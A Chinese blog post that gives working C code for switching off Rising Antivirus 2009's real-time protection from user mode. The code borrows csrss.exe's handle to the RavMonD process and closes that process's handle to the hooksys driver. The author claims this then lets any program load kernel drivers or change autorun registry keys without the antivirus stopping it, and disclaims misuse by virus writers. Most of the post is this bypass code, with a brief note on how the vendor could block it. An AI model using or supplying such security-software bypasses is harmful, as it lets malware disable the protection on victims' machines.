用戶層關閉瑞星2009殺毒軟件安全保護
我寫這個純粹是hacker精神,如果被濫用做病毒木馬一類的邋遢東東,可跟偶沒關係哦。
原理very簡單,我發現瑞星監控主要在RavMonD進程中,如果打破其與內核的聯係,則
瑞星監控功能就無法正常工作了,怎麼打破聯係呢?如果是進內核的話當然有很多的辦法,
從而沒有挑戰性了,況且RavMonD會阻止用戶進程去加載驅動或者動注冊表的關鍵地方,
比如run子鍵。下麵上測試代碼:
int main(int argc,char *argv[])
{
if(argc != 4)
puts("usage ccon csrss.pid prmd.handle hooksys.handle");
else
{
int pid = atoi(argv[1]);
int hprmd = atoi(argv[2]);
int hobj = atoi(argv[3]);
if(!SetDebugPrivilege(true))
puts("SetDebugPrivilege Failed!");
HANDLE hcs = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
if(!hcs)
{
puts("Open Csrss.exe Failed");
PrintErr(GetLastError());
}
else //直接打開RavMonD進程會失敗的,so采用迂回戰術
{
HANDLE hprmd_loc;
if(!DuplicateHandle(hcs,(HANDLE)hprmd,GetCurrentProcess(),/
&hprmd_loc,PROCESS_ALL_ACCESS,false,0))
{
puts("Get hprmd_loc Failed!");
PrintErr(GetLastError());
}
else //關閉hooksys的句柄,打破其與內核的聯係
{
HANDLE hobj_loc;
if(!DuplicateHandle(hprmd_loc,(HANDLE)hobj,/
GetCurrentProcess(),&hobj_loc,0,false,/
DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS))
{
puts("Get hobj_loc Failed!");
PrintErr(GetLastError());
}
else
{
if(!CloseHandle(hobj_loc))
{
puts("Close hobj_loc Failed");
}
else
puts("We Success Finally!!!");
}
}
}
}
return 0;
}
打破瑞星監控與內核的關聯之後,用戶進程可以任意加載驅動程序進內核或者篡改注冊表
中的關鍵內容,我測試了一下,雖然第一次修改注冊表中的監控內容時瑞星還是會提示用
戶是否允許修改,但是這時即使選擇否,同樣可以修改成功,而且以後的修改瑞星不會再
提示了。
其實防守起來也很容易,瑞星隻要不讓我們在ring3下取到hooksys的句柄就行了,當然
仍然防不住內核中的攻擊,進入ring0還是可以為所欲為。
我的測試環境 windows xp sp3 + 瑞星殺毒2009 21.49.14 測試成功
最後更新:2017-04-02 03:42:38